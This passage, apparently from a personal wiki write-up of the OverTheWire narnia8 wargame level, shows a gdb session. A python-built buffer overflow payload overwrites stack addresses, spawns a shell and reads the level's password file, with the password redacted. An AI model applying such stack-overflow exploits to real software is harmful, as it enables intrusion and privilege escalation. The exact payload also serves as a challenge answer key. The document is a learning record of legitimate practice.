Starting program: /tmp/tmp.VLtrJp3PIX/narnia8 $(python -c'print("\x41"*20 + "\x42\xd8\xff\xff" + "\x41"*12 + "\x90\xd8\xff\xff")')

Breakpoint 1, 0x080484a7 in func ()
(gdb) x /50wx $esp
0xffffd600:     0x08048580      0xffffd618      0x00000014      0xf7e55f53
0xffffd610:     0x00000000      0x00ca0000      0x41414141      0x41414141
0xffffd620:     0x41414141      0x41414141      0x41414141      0xffffd842
0xffffd630:     0x41414141      0x41414141      0x41414141      0xffffd890
0xffffd640:     0xffffd842      0xf7ffd000      0x080484fb      0xf7fca000
0xffffd650:     0x080484f0      0x00000000      0x00000000      0xf7e3ca63
0xffffd660:     0x00000002      0xffffd6f4      0xffffd700      0xf7feacea
0xffffd670:     0x00000002      0xffffd6f4      0xffffd694      0x080497a4
0xffffd680:     0x0804820c      0xf7fca000      0x00000000      0x00000000
0xffffd690:     0x00000000      0xa7399831      0x9f011c21      0x00000000
0xffffd6a0:     0x00000000      0x00000000      0x00000002      0x08048330
0xffffd6b0:     0x00000000      0xf7ff0500      0xf7e3c979      0xf7ffd000
0xffffd6c0:     0x00000002      0x08048330
(gdb) c
Continuing.
AAAAAAAAAAAAAAAAAAAABg.
process 32213 is executing new program: /bin/dash
$ cat /etc/narnia_pass/narnia8
x......

nailed it :D

So this was narnia.. I have to confest that i have still to learn much more about bufferoverflows..


narnia (zuletzt geändert am 2016-12-12 17:31:15 durch Dirk)